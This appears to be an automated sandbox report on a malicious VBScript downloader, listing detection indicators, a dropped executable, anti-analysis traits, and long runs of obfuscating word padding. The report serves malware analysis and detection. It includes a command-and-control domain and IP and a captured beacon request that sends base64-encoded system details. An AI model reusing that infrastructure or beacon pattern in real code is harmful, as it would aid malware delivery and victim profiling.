MSG_421097.vbs
This report is generated from a file or URL submitted to this webservice on February 26th 2020 18:14:54 (UTC)
Guest System: Windows 7 64 bit, Professional, 6.1 (build 7601), Service Pack 1
Report generated by
Falcon Sandbox v8.30 © Hybrid Analysis
Incident Response
Risk Assessment
- Network Behavior
- Contacts 1 domain and 1 host. View all details
MITRE ATT&CK™ Techniques Detection
Additional Context
Related Sandbox Artifacts
- Associated SHA256s
- 83320c1f5b0be06c8f0c8f22471d6eb66eb1e03b7786cc0e4bb6b256e5478ecf
Indicators
Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.
-
Malicious Indicators 3
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ETPRO MALWARE Unk.VBSLoader Retrieving Payload" (SID: 2841137, Rev: 1, Severity: 1) categorized as "A Network Trojan was detected" (PUA/PUP/Adware)
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Suricata Alert
-
Unusual Characteristics
-
References suspicious system modules
- details
-
"breloque unwreaked coadjustment frigotherapy significativeness ixtle Arains byee krypticism Amanita eassel discontiguous untwinable luxurys leans haed nonopprobriousness intercorrelated metalism liquer Maipure Luristan doodles scuttered hippocentauric anisocotyly spasmolytically strongyls line-breed wogs organzined rectovesical turned-off brookless Brynmawr Aryanized Hreidmar caroches Barbizon Erymanthian mountainward depectible outnook nonprojectively subrigidity abluted proparoxytonic decayable unbecomingness Olar tharen woolly-looking parlamento pitiableness Mert significs self-searching temperatures Elsass stingingness stratum counterterror quick-stepping crinkum Jalalaean acetylphenol hostlers autarchies platband tubelet
dDjEOlVtXfMMcKLxsStpbTx=HOSXIOHqKjDmzIJRpMTZYeHNEVKKf&chr(46)&chr(83)&chr(116)
LCduqQmIKxOIVfESmvDDwPbWQL=Sgn(fIEhCcQzgTfGZNMwcOuSU)" - source
- File/Memory
- relevance
- 5/10
- ATT&CK ID
- T1215 (Show technique in the MITRE ATT&CK™ matrix)
-
Script file shows a combination of malicious behavior
- details
-
The script produces internet activity
is obfuscated and drops files - source
- Indicator Combinations
- relevance
- 7/10
-
References suspicious system modules
-
Suspicious Indicators 5
-
Anti-Reverse Engineering
-
Possibly checks for known debuggers/analysis tools
- details
-
"lize Archiannelida wished couchings Mediterranean epigoneion goblinesque ill-concerted quintain phrasal twice-hazarded revocably unresisting LaRue raadzaal winter-chilled Ichthyoidea overacutely zuVjibhnTdIeIwlykkfYVtOPVOMAeomucoid pteropods clithral boastfulness B.C.L. talcer simulators whaleship endgate decompensatory chemoreceptor fewnes non-tenure maypoles ureameter preresolving continuately Lemaceon pseudonymic drazel purplely illicitly platemaking self-sealer overdiffused nonphilological lorisiform osteoclasty duckhearted hornslate calling Wilhlem embryulcuses lavational bosks toxophily burys bepommel dustsheet Minni westabout likelihoods amidid Oeno sou-sou deputable kerseynette nomades kudzus finaglers phimosed leatherwing al-Fustat culminating unplannedly biscuitmaker azonic enticer cankerfret SRD flappering geomantic parcidenta seminervous prakriti Hunkie cogenial sluthood full-beaming buzzword amesaces oxidise neeger sparerib navally euryprosopic hemic Pigmies Stalker foundations sanctologist fool-" (Indicator: "ntice")
"M stictiform productive exsibilate demagogueries odontorrhagia east-country semuncia terrenely cheesiest Gethsemane Monticulipora zeal-blind ferret-eyed donnybrook chambellan hierogrammate novalike Castroist infra-umbilical Hanforrd lipogenesis Torricelli 7th Unrussian hurray autolysate-precipitate Ahimaaz Hardinsburg physiogenic transport bacteriologists megalocephalic pallometric krubi paralanguage typolithography tomium other-group retrocognitive scopuliferous yeggmen scurry pancreatism recollections cutcheries tail-joined bedposts kadis churlishness wordsmith picarian obsequy quarantines Blemmyes coinventors pointal autochthonous grandmotherliness Esma caprifoil counteracting chemotherapeutical Ninnette pretired lyases denominational Krause pavisse parturition six-inch recursed decocting cedulas panchromatism quantum unpreferably enterodynia cacorrhinia colones illimitedly screw-cutting Kirkuk enticeful anachronous ague-struck technics flagellants hay-tallat superrighteous theologer montanin stark-staring" (Indicator: "ntice")
"and unmistakable embassador fate-denouncing Chaminade cauterising crickey unruinously monoglot commemorated knotberry Cummins sanction algate uniformed retardants balatong memorially savage-wild lapidates unsocialism burnishing pulmonated 'buttonhook asymmetry disgress planeting Fingallian linemen damnum interleaved exorcises irrespectable Chiaki camphoronic brashness synonymies umbrette ethernet terrifically Cinda hairstylings Lutyens subserrate hula-hula milliner oxyrhynchous condurrite cemented decapodal reimposes wiriest Nostoc unobnoxiousness albuminone poikilocytosis cyanurine bucket-shaped Malvern Lyndora hosecock decasyllables Vestas thunder-footed Patoka unself-sufficient conversably booster unsaponifiable unpleached toising maquis vocationalism dyers Chaco lenticellate noncommemorative adown somatocyst Anstus bressummer duraspinalis Glendo bachelorism Chagall Saburo deepgoing oenophiles selvage personable giftedness semiempirically Shubuta civilises incremation diathermacy solvaated dimethylanthrani" (Indicator: "ntice")
"gyra Reichsfuhrer Aymaran shoot-the-chutes madefy longee moted unblundered beachier radiolitic spiritrompe Glasford Dumont close-stool nobelium nonapparitional unpositiveness wind-rent stereornithic tricentenary Metycaine chiels bottle-feed laverocks astipulate komarch pilage Simona daughters-in-law rotenones marmalady LSD-25 eavesdrip rhet. cabob frillies vats Landes hypersensitivity quarantines bemad muishond flybook anticeremonialism achlorophyllous epineurial unfragile ingrowing vibrantly Ameiva overreprimand frisette trifurcating expectorants mediatize lows potlatched uncalled-for doubtfully delimit outdevil unminimising bandsawing embruing calyciferous Brokaw polychasial ledgier vice-government rope-yarn cushionflower McLean marinates sphygmometric snuffier deys rorulent tilestone runneth fleecer conditionate motorships twinklingly swayers ghoulery Kessia hyperstoical Pediculati threadfish lign-aloes over-lip Patmo pullulative soul-cloying Miro mollescence pampharmacon ladies-of-the-night Irons solid-fu" (Indicator: "ntice")
"catory ravendom seven-piled geminal coons avidities Cushing Diodon trawlboat renunculus dazzler soon-mended durations recolouration Guiraldes quoteworthy Germiston dictate dietetics twice-revenged frowzy-headed punaluan shophroth grangerizer Gynerium coshering tonada defleaing hydrometeorologist saprophytism holograms barrico unadmonitory Terese pogromize ramisectomy unmomentousness heliophobic Thyestes Hendrum affirm Kragh chromonemic glaserite Ranson nonirritant upshot unelected Cenomanian intermination short-trussed diffractional slit-nosed masculinities bavarois inbreeding Lagurus upget Sans. subconchoidal Weihs marlinsucker overnationalizing mooned winned auxanology slummed shrave rhymesters taters Mbaya merchantlike overbroaden batterfang biassedly foremelt Hoffa Circleville unembanked Lunette grating postureteric Enkidu unhallucinated homeworks hospodars gloated Statius polygeny outrock overpublicize withness pickel snapholder forerunners bazoo anticeremonialist phaenanthery mephitism camalote clothes-" (Indicator: "ntice")
"er-comb Jajawijaja militaristic centrisms frontlessness Ixionian sunscorch messman crucks Discoglossidae skycaps fly-away squadded silicles sharpers UDP diphyllous amiabilities ogreisms swimmings Townley Hopei fine-drawn nomenclative phloeophagous eschewers indan Ultra-presbyterian reaccused engines pimola Klanswoman Koressa submandibular anticeremonially stealthlike centermost cambrics unpretermitted katakinesis Agartala unstressed antipart extravagant Malikite photodromy ropish stringently askip Jacobin Seckel hectowatt frogging Hoples anticentralist foreplace yellow-barred thegn tungstous dregginess oversimple methaemoglobin bonducnut staunching somatotropically untwirl flight-shooting coronion eclaircissement triskaidekaphobia unripe EOTT accreting Homalosternii bedfellowship abrocome nonempiricism Genipa calciphobous Countee paginary overhung imperfective poundstone monadical by-play traintime ex-directory vaporising mandated uninnovating cruciality synaxis tiglinic rhyolitic larrigans Jopa nectar-seekin" (Indicator: "ntice")
"tidianness intemperatenesses benzyl seismoscope Algeciras adenitis gnathonically anticephalalgic
fIEhCcQzgTfGZNMwcOuSU=yEiibtwUpnlPmtKoavgAMOFv+oQyHzaHRdxMcHXqJCykTgd" (Indicator: "ntice")
"stereoscopic Medusas edemata albumosuria humbuzz well-umpired hydriatric respue tatterdemalion soft-dressed weediest high-sighted lozenge-shaped supervising preludes wide-set Churoyan lipomata smitheries physicopsychical imaginers Avilla phoneier unrenownedness barysphere languor sciotherically god-speed nonabortiveness bruting Hestand equilocation aeluroid altruism paralambdacism grangerism nucleonics preinoculating standard-bearership hyperreactive dsnames nob ough orguil forseeable clews notchwing notum muladi writeoff trolleyed exegetes Biebel akaroa lachrymalness metamorphically refashioning nonsaleable antigonorrheic Purgatorio slew-eyed agalaxy nubbiness plemochoe rose-cut waistcloths prenticeship infraperipherial tablecloths paramandelic catasarka overfears gruppetto nonindexed sacrificing playwriting litiscontest pediculophobia Kramlich buggane psammo- cheongsam spintos mackintoshite Amarynceus remene duplicident benignity outspreads RIFF enquiries jerkily marshlike starlight disensanity supersacerdo" (Indicator: "ntice")
"litic Stictidaceae Palicourea color-matching allotropicity empiriological microcultural garments disambiguations untrespassed button-eared inappellability melee trisections Otte biometric planarian cascado deep-seated instonement anticeremonious kanthan yaboo Bren preconfined silicicolous awkwarder self-distrusting moralizingly Galchic Skimos uncommensurable exomphalous raw-head Waka triple-barred klook-klook tellureted platymesocephalic Labyrinthici aogiri Attalie Cerveny strawboard aerosols payola prepotential prespective miniated MacIntyre cattlegate coexist ineluctability stylopod inemotivity santii abseil loutishness jadded chiopin bassist Glaucia narcohypnotic neurocoele roguish Carilyn nonanimation excruciated subhumeral threapers macerators goose-stepped stuprum nonsubstantialness eyeliner sniffiness pirogue corsairs pillowlike windgalled engraphic bulkheading catface faunistically nonpartible wanders para-toluidine sith gangboard sacredly athletes gloated pitch-blackened gamogenesis masticator halm s" (Indicator: "ntice")
"ingered Agate three-wayed beavers horsecloth Narragansetts Prvert deewan fortuuned indescribable Mooney crombec choicy coeldership unmodifiably postelementary life-sustaining COLT mucilage overdiscouraged ayield antihalation archheresy citizens starchwort Haute-Marne skeining Mundelein Pothos nondefiling round-visaged rowens pacifyingly arthropleura runghead unturbulently lugsails unpreened unapostatized aimful besets scleroma reimplants paradoxicalness tanguin Lasius Tetraodon whereer antireducer suprasquamosal badmen savey epiphylline frons pancreases uncommonable ciminite phalangologist reengross noneditorially photographing fucivorous treasons crowfeet roadhouse facebow lucklessness decapitatations Genesee ponticellos costeen overstatements philanthropise excessmen sextons tellen anchoret kaj mythmaker subsovereign Cuddebackville kwashiorkor Non-norse wracker Epistylis overwilily amblypodous overdilation recaution DAY clouty impendence fathering vrouws blazoning prairie stuccoer Cretism wife mid-span chec" (Indicator: "ntice")
"troceptive unsweltered ham-fisted shogging elenchically unprettiness bathmat colosso Maracay manatees synange honey-flowing indusia nontutorial treelessness phaseless beaverlike Sheldonville hemisymmetry undemonstratively Fundulus metropolitanize priestlier drumline serophthisis one-handedness difficultness razor-bill well-metalled poditic anticensorial flavo- postbursal endocranial OE nonintuitive guesstimate slinkily unphilosophically odontiasis phatic hygiene unabsorbable sawflies Battelle mosoceca mousseux arx Ilario excitingly squads ariot uranism wronghearted salicyl Welshy gropes lichenic incardinating spar-decker predivert sprat lashkars irrefragableness apanthropy acupress assedat prespecifically attemperance sputa nosedive quasi-national contrude datelined Topaze Nordgren pourris Helicteres swaggered actg corticifugally Tripolitan a-spread Negrofy two-bond Salley decoders retinal dendro- aahs carronade epitasis Rab unfamiliarities propons bull-necked myo- backspread axilemmata abaxial self-critical" (Indicator: "ntice")
"te Taiban cat-whistles undergoing platformed amphibrach Nitza Euridyce balbutiate Ambrosiaceae purple-robed ECSA minicourse Ultann Kimmi skewering aconitin misincite remailed angioparalysis antonym Alumel flywheel duodecimally drawtubes reinviting Hierro Dindymus architecturesque optimally nonpresentably Zizania suppos oxysulphide phyllode contumax Crowder desoxyribose Barrow-in-Furness tubercul- alternate-leaved Tartini old-maidenish semideaf typologic staphylic samplemen Savick apprenticeship Pleione roily Uriel Hispaniolize Physocarpus prolation efflower sponsored Baldur locomotion gold-foil subservientness terrazzo heartening postadjunct osmosing Habib systemised elevatory anapaestical twingeing Artinskian seroplastic Hurstmonceux gyrocar unstrange Weanoc by-bid underseaman preimproving waits self-searching vouvrays computist unbespoke silver-plating hexerei seasonal adoze biliation nanda tephrosis ferthumlungur nonextensiveness verdancy azotizing tritical cruddy Theodotian Wasat archetypes blue-yellow-bl" (Indicator: "ntice")
"radiochemically Shia low-uttered Fultonham dichogamic tempestive outsophisticate pamphleteer gulinulae Barotseland K onionskin refiltered putter-forth butchered repostponed cleistogeny Mittie mammotomy invitational rubella Brelje Muldon cockatrices apprenticehood arithromania hot-moist smuggler ordonnant tidling blitheness reinsurance obscurers oldest subarachnoidal penuchis zumbooruk upstarted seismo- unwailed krummhorn sin-concealing Leucadendron stravaiger atrocity enl wechts adhocracy Fourmile bibliographers guntub worrisomely ruby-lustered grommets whats-his-name terraquean need spot-soiled mucin sequaciousness outdriven exuviate instillatory self-appreciation designed bemas mucaro kilohm button-fastening Amalberga enemy belladonna Roose unsalt chutist sodality santalic gigatons photoengraved rearling wood-pigeon fiddler subahs vermicide interventricular enterological upwhirl unrevocably VMR looby advective surtax grubberies autoloading throttlingly Amyraldism mandament imitability spellable dockize Mai" (Indicator: "ntice")
"Gean acetobenzoic quasi-magical uptie telarian coremiumia phosphorated mesophile infuscation diaclastic medscheat retama overwarm ennea-eteric worse-typed potlid epigrammatism brawnedness Ascidioida mesophytism spilings homemaker chuana war-breeding lenticellate tub-fast axhammer aspergilloses corneo- spiroilic secohm Wemyss free-quarter nictitating multicide frack Islamizing assureds Bandusian water-purpie rhila nonlubriciousness Chaetodontidae gilbertite dramatiser unreave Distoma Carduelis dunking a.w. coadjutors Weizmann hypermyriorama disulphuric corteise Stendal oxybutyric outborough ground-to-ground Kanwar uteropexia syphilogeny quantile indulines isthmoid Balkan implored limitable concludence Monophysitism overpensively akonge nonintegrity bought bicycled emaciated myriarch unapparently squinancy Martinez Pro-serb pyrophilia superlatives craniotome boogymen ventrodorsad bullwork gingeli Sigismund rapid-changing Hippidion pathomania readvocated elderling TREAT unbefit tetraphenol endere muscadin malin" (Indicator: "ntice")
"ncy remolade pochoir guanidine grounders contemporizing encephalorrhagia subvirate athymia walkie-lookie pinchbottle ganocephalan Osmanli institutionalize mem-sahib quino- collet furan overfatness nogaku unexhilarative nonpalpable houseful Euromarket self-paying hydrocellulose spindlelike Sachsen fallow volumometer milliseconds twentieth Cantharellus cerebr- tannocaffeic Parker profit-taking maxixes coffering color-testing well-posted Prokofieff infernalry astricts passibility checkerist cudweed inoculability secpars giganticness interlibeled glossary quintessences gaugeably Buchmanism typologically slirt teetotaled unprobationary bedung melilite continuable Kenzi neither receival Pleurococcus Pentelic bawdiness Joffre cowtongue skyborne Hugelia apolar fribblish nitrated misspelled hemaspectroscope overstudiously unbemourned great-spirited entice enantiomeric ultrareds sporotrichotic Trochius awhirl outbeam air-conditioned inferoposterior Niigata weathercocks acervation clappermaclaw vasoactivity hasenpfeffer" (Indicator: "ntice")
"ic preinterpretation archmocker aguinaldos unperverted weather-fend nonprohibition denim self-devoting veritable guacamole nonrevolutionary absorptiometric vanadiate waxier trito- executable plodge sudsers compagination twopence rack-rent turbinage monogrammic murkest verified dusks radiopacity counteravouch Sikes subsensual blankite demargarinate slagless Biblism Titus valval micro-audiphone niggertoe outpraised pontvolant desertic eugenicist unorthodoxly Prady acetifies canalization fatherling moorfowls F-display mortarboards intramuscularly cooperativeness prinos estreating macuca respondences outdoor anticensorship adaptations towns spear-throwing landgafol requiter preextract thin-wrought mudar subfunctionally essayish fosslfying inboards morbidity laxiflorous demographical encephalosclerosis balsamroot luau injured spellingly Xantha Shenandoah Eipper unlaurelled Goole half-insinuated reemish romeine stereoisomer doorkeep roachback marabuto dromophobia stairwork tracheids unhoofed addict seminarians idet" (Indicator: "ntice")
"ing misconjunction colloquialize enjoined Origenic monastical Annellata democrats aggradation Illawarra overpractice Keaau chondropterygious cockamamie brachycephalization unspookish appropriament wall-climbing Pro-norwegian aggregate mourns reediness chorizos adenohypophysis nonsubversion communalize anticephalalgic subashi tierced thujin miserability water-colored flowingly subalmoner zygosis nonperpendicular Post-solomonic ecdysone Monostomatidae confesser unmew overfill miffy delegacy foreverness tussive single-seeded tree-planted soochongs ecbolics sufflated outdated singingfish golo-shoe quasi-criminal hexad bejumble Lemaneaceae Gaul atherosclerotic fishpoles dullbrained unsuppressible unspited KOWC cystoma LSE respreads ochering pleonic piceotestaceous pepsinhydrochloric pyritiferous aground Weleetka Hjordis dashier cuttikin suffixations natr Salmonoidei Gonick Sumeria promisors corm taillessly Noric macrodontia zigzagwise Whyalla aedilian antichlorine daisy-painted pidgized photokinetic Chabichou film" (Indicator: "ntice")
"elers Bulawayo suppurated dispersonify metranate governante nonvacancies arsenic- fluxions miscounseled hexaxon world-without-end noninstructional scoffing Shellian Nepali nonmelodiously ondule yanks Biometrika trade Mitrephorus corries complexness cued Gargantuan urinology fictionally sixer pyrollogical synacmic airers Megargel suppedanea cromorna Circum-saturnal drecky pyrophorus Archencephala squalor geochronic phosphoreted affiliation imaging McDowell denature colloidochemical rantize fogbows unanachronistically innocuity bugan keenness take-out re-engender anti-Biblically communicates deratize columnates litterateurs triflingness bugfish radiolabel dunderheaded quivery overdeliciously enticements old-liner proprietarian Post-prophetic stiletted novella Un-asiatic subthalamus periphrased scrush inthronization nonchaotically taffylike unhandicapped re-exertion torolillo sunproof ETACC invigilating double-track anticeremoniousness radiolysis Jedd exclusionary Shelbi anapestically Barbary linty ducking-pond" (Indicator: "ntice")
"e PCTS saprophagan habilimented shoneen unpromisingly vaccino-syphilis diplomatic slingsman sturk undefilable prehistorical chouse roentgenogram cyclohexylamine leaf-shaped rerecord abominably aruspex deliberateness lectorship moon-dial teleneuron eyebolts endurability vile-looking bivane Aleurites asteroid chastest death-bed yellow-legginged Krupskaya announcers forepoling congruism arthralgia ignominiousness brownish-yellow angerly supercolossally glyphographer swouned expandability schairerite Chaddsford medusoids oversystematicalness Beveridge superabnormal grudgers disdiaclast simplifications smytrie Keratol FCRC rosulate diotrephes snapshare cycloplegic proteose Pinckneyville rooser collock jelled eroticization Mannlicher foredesign excorticated verricule ulmaceous duckies worming quittors misrating Cotinus Adelea comblike unenticeable best-bred endover Saltator touch-me-not Pollocksville Umbro-oscan wire-brushing venery interlocutorily Callorhynchus thyroepiglottidean Khalkis antegarden polyautography" (Indicator: "ntice")
"ze aurifex reintegrated rough-tasted promagistracy misapplies saltierra coextension tonia well-tied dechristianization posostemad quiddany incompressibly overflorid lenticellate antispiritualistic supralineal congressman-at-large contg adenoidal glassblowing semilog ethnographer Tilly bus. Tarzanish deflocculation postmistress-ship cliques Mycomycetes hazzanut terebinic baffing imbreviating bonefish Northamptonshire scabinus crappers quitches predisadvantageous apterygial lamps lactonized Uledi vision-directed gerahs Surya Halicoridae Mapleton hithertoward triglyphs augerer Anschauung nonsporting diolefins vetusty tidesurveyor Aguila oarfishes valvulitis Caesaraugusta belibel silicothermic estriche FET jararaca voulge synodalist half-reclining Corantijn Boulder self-contradicting Madelaine bismarine sarodist gaydiang hexosephosphatase skulkers ofttimes long-contended all-bearing unhaggled unlovelily semisevere portgrave latibulize mounture steeler pointmaking pommet Humphreys in-patient concretely kinetograph" (Indicator: "ntice") - source
- File/Memory
- relevance
- 2/10
-
Possibly checks for known debuggers/analysis tools
-
General
-
The analysis extracted a file that was identified as malicious
- details
- 21/72 Antivirus vendors marked dropped file "TableOfColors.exe" as malicious (classified as "Gen:NN.ZexaF.34090" with 29% detection rate)
- source
- Binary File
- relevance
- 10/10
-
The analysis extracted a file that was identified as malicious
-
Installation/Persistance
-
Executes a visual basic script
- details
- Process "wscript.exe" with commandline ""C:\MSG_421097.vbs"" (Show Process)
- source
- Monitored Target
- relevance
- 10/10
-
Loads the task scheduler COM API
- details
-
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at FAA80000
"wscript.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 01E80000 - source
- Loaded Module
- relevance
- 5/10
- ATT&CK ID
- T1168 (Show technique in the MITRE ATT&CK™ matrix)
-
Executes a visual basic script
-
Network Related
-
Sends traffic on typical HTTP outbound port, but without HTTP header
- details
- TCP traffic to 104.154.229.109 on port 80 is sent without HTTP header
- source
- Network Traffic
- relevance
- 5/10
-
Sends traffic on typical HTTP outbound port, but without HTTP header
-
Informative 13
-
Anti-Reverse Engineering
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
- details
- "wscript.exe" is allocating memory with PAGE_GUARD access rights
- source
- API Call
- relevance
- 10/10
-
Creates guarded memory regions (anti-debugging trick to avoid memory dumping)
-
External Systems
-
Detected Suricata Alert
- details
- Detected alert "ET INFO EXE - Served Attached HTTP" (SID: 2014520, Rev: 6, Severity: 3) categorized as "Misc activity"
- source
- Suricata Alerts
- relevance
- 10/10
-
Detected Suricata Alert
-
General
-
Contacts domains
- details
- "b.kitchencabinetryprofessionals.com"
- source
- Network Traffic
- relevance
- 1/10
-
Contacts server
- details
- "104.154.229.109:80"
- source
- Network Traffic
- relevance
- 1/10
-
Creates a writable file in a temporary directory
- details
- "wscript.exe" created file "%TEMP%\TableOfColors.exe"
- source
- API Call
- relevance
- 1/10
-
Loads the .NET runtime environment
- details
- "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at EBD50000
- source
- Loaded Module
-
Contacts domains
-
Installation/Persistance
-
Dropped files
- details
- "TableOfColors.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
- source
- Binary File
- relevance
- 3/10
-
Drops executable files
- details
- "TableOfColors.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
- source
- Binary File
- relevance
- 10/10
-
Touches files in the Windows directory
- details
-
"wscript.exe" touched file "%WINDIR%\System32\wbem\wbemdisp.tlb"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll"
"wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
"wscript.exe" touched file "C:\Windows\System32\wscript.exe"
"wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config"
"wscript.exe" touched file "C:\Windows\System32\l_intl.nls"
"wscript.exe" touched file "C:\Windows\System32\en-US\wscript.exe.mui"
"wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls"
"wscript.exe" touched file "C:\Windows\System32\rsaenh.dll"
"wscript.exe" touched file "C:\Windows\System32\taskschd.dll"
"wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"
"wscript.exe" touched file "C:\Windows\System32\msxml3r.dll"
"wscript.exe" touched file "C:\Windows\System32\wshom.ocx"
"wscript.exe" touched file "C:\Windows\System32\msxml6r.dll"
"wscript.exe" touched file "C:\Windows\System32\stdole2.tlb" - source
- API Call
- relevance
- 7/10
-
Dropped files
-
Network Related
-
Found potential URL in binary/memory
- details
-
Heuristic match: "b.kitchencabinetryprofessionals.com"
Heuristic match: "GET /ushaudhsauhds.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: FoxKids
Host: b.kitchencabinetryprofessionals.com" - source
- File/Memory
- relevance
- 10/10
-
HTTP request contains Base64 encoded artifacts
- details
- "Microsoft Windows 7 Professional "
- source
- Network Traffic
- relevance
- 7/10
- ATT&CK ID
- T1132 (Show technique in the MITRE ATT&CK™ matrix)
-
Found potential URL in binary/memory
-
Spyware/Information Retrieval
-
Found a reference to a known community page
- details
-
"e manically hirdum-dirdum overrife confident reattack confidency unguiform tauted unpropitiatory expirer above-found finch-backed anchorages haoma molysite BEW sabaigrass sunbathers out-group hummingbirds Godart autoheader prerighteous naphthaline enduement twittered bahoe sewless epididymo-orchitis articling tuffet endophragm doghead gemman fondants nonnovel anticoincidence burgess-ship skin-testing Erysiphaceae evolved adelphophagy all-consuming rage-filled neurothlipsis shrugged cafeteria foraminifer silanga implicately nonreading theropodous unheuristic Donie pettishly chinless monopolous Bon perissologic bulblets palingenic delegator supernaturalize Bahama readaptiveness pyramidoattenuate CDROM slivovic provect rhinocerotic insulator nonepically insubstantiate fulminancy moon-charmed mesiolingual slateyard trickishness Schizonemertea photodermatism underappreciated predisclosure detache endable nonhistone incalculability jumbles ribosomal mordicative uncontentiously octan wellhouse presidents escot off-h" (Indicator: "twitter")
"ps embowelment preinvited twalpenny undevastating B.C.L. foremastman isocheimal AF burdensome darklings stages Caratinga standardbearer pre-expound Fenrir codifications grapheme pasigraphic pin-eyed serrulation geometrician MGk twitterboned redesignate pashm aerographies mancy adjustments adverbial phonism self-cocker rekindled dockmackie irreticence gils non-performance verricule Aharon love-anguished burghers Wittmann untremulous Mangalitza reding sycophantly uranoso- crocuses mentolabial apoxesis ribozo empodium Carabini mutedness wednesdays debone nonfricative vawards naunt Dalymore roughscuff Remi liming conversusi glucokinase hesperinos Studnia entodermal ideations yammering kabala crooked-shouldered mammy Thalassarctos protovillain Basilicata world-great stramashes proteins danseuse supernationalisms Fanchon zimmis multifoliolate hydrodynamically bonhommie univocals rapeseed prigster merry-make latewood optoblast nonroyalty Niarada role-playing snorkeling wessand equidistant Sylvan subhirsute fetishist" (Indicator: "twitter")
"ht-bodied leukocyte inomyxoma Vandemonianism outfielder accoil chlorophylligenous ventripotent thawers remisunderstand cts. musicologically foam-flecked Mondrian roborate predominancy outflanks tapster far-removed evitation sextillionth tetrodotoxin alcoholization quainter mackerels self-outlaw Cruikshank railhead conjunctions exophthalmic Espy palmatipartite open-eyed gurnetty adjoined uncontentious broomcorn atypy anda antalgol prebble down-covered speave lick-foot lochiometra pro-Ceylon forthcame dishiest sebasic faintful bourder longiloquence trinketer Pseudo-serbian dictatorial twice-necessitated incensory tariffication viceversally Bravin Terah anachronize unfactional Lipschitz villagey reducement curvedly palaeobiologist genethlic overparticular Kodok stravaged surfaceness willingest asynchronously twitters sweet-toned megalopsychy bespatters unceremonial saltish harboured nonperjured flat-armed Herta analgene lodgment Anti-aristotelian soot-fall furodiazole Mercado piculet Amedeo overvariety quasi-gra" (Indicator: "twitter")
"hackled ungospelled weltanschauungen cyst- piazin Bethlehemite reskin defence sound-thinking Huddersfield quasi-exterritorial acoluthic Seurat supersevereness dumontite Belleplaine varnishs KCL wurraluh demonomanie antierysipelas diabrotic aminoguanidine mopane forgedly flimflammer Swatis dehydrogenate impactful trolleys dedimus calcaria murexide stowce Upperco yond overinfluenced ungyved nope Abebi theogonal overprecision quarter-deck exclaiming trivializing twibill affabilities ridge contakion Auriga spell-sprung abye saviorship transrhenane warlock unprevented Asoka ferventness adrenocortical centumvirate psychosophy rcd Agnesse Santbech Wagner postencephalitic hert Lupe unconcernedness overdepends upcock circumambiently corelated brachypinacoid torta uplock Alangium Asotin herewith pyramidically stubbling dainty-tongued cravening lither burhmoot hernias intracontinental vervelle Luanni unicarinated mutts lilacky tsadik infirmaries twitterboned Fowle steam-chest nonportable Jehol unwrit Lazaro starwise rab" (Indicator: "twitter")
"tobituary ethicoreligious Pseudo-messianic prelaw millenium galette pyas interwinding soily stinkiest manumit Hochheim voet sternson neuroembryology disauthentic bivalencies Basom banshies sproutling bacteriophobia muralist untwirl alligatorfish poldron pygarg truck tarnside guglio unvagrantness Iowa Numine dodecaheddra TFC cronk charcuteries fenagling bijugate deflagrable Parsaye phymas wine-drunken beggarliness obstacle dephlogisticate declamando Ottavia Aegates scrabblers scannable headache castrensian consocies encrinite Byz protariff Leskea lwop camias eucleid long-stemmed pandering initiatrix unprofiteering azure-mantled misotheist Concha twitters infeed Wamsley Micropterus flans beplaster disreason evadible nondiaphanously adjective ABHC organometallic vociferate unseeding epirrhematic topkick almanacs foolship Walkerton Caesardom leptocephalic presumes sun-ray arguably acronarcotic Spanish-arabic overinflationary nonmedically unlassoed Moise mistilled intraduodenal deicidal improvisator antisepsis sup" (Indicator: "twitter")
"orousness transmew scrimmager trophallaxis sempres joy-ridden suboctave half-undone sea-bounding full-diamond rebuts cabbie regreeting derided enregistry eye-winking about-shipping missuit ungraphical meagrely commissariat Roseanna raptury periphytic strenuousness unaflow lamperses pitomie Bimble bridals Kampong matterative pre-Polish intarsias leukocyt- Caroling biodegrades nonmarketable all-shaped placements lowering preparoxysmal coadunatively twitterboned leafboy iron-hooped nonsignificance tattersall pinched overthrow contenu velvet-black compoundedness semitonally shuttleheaded bugologist farm-bred clutch phyllophagous frescoist aqueoglacial eluvia ammonoids pmsg effractor involvent bombastry areolas cybernetic beniseed Sassoon corymblike somatic altruists halloes endosarcs bannisters pentaiodide grocer tubesmith temporizes unbroadened unscreenably spondylolisthesis lawmonger harquebuses nonexplicable Argante Puritan murids intracompany sherries myelopetal siest loonery oath-bound land-metster reales co" (Indicator: "twitter")
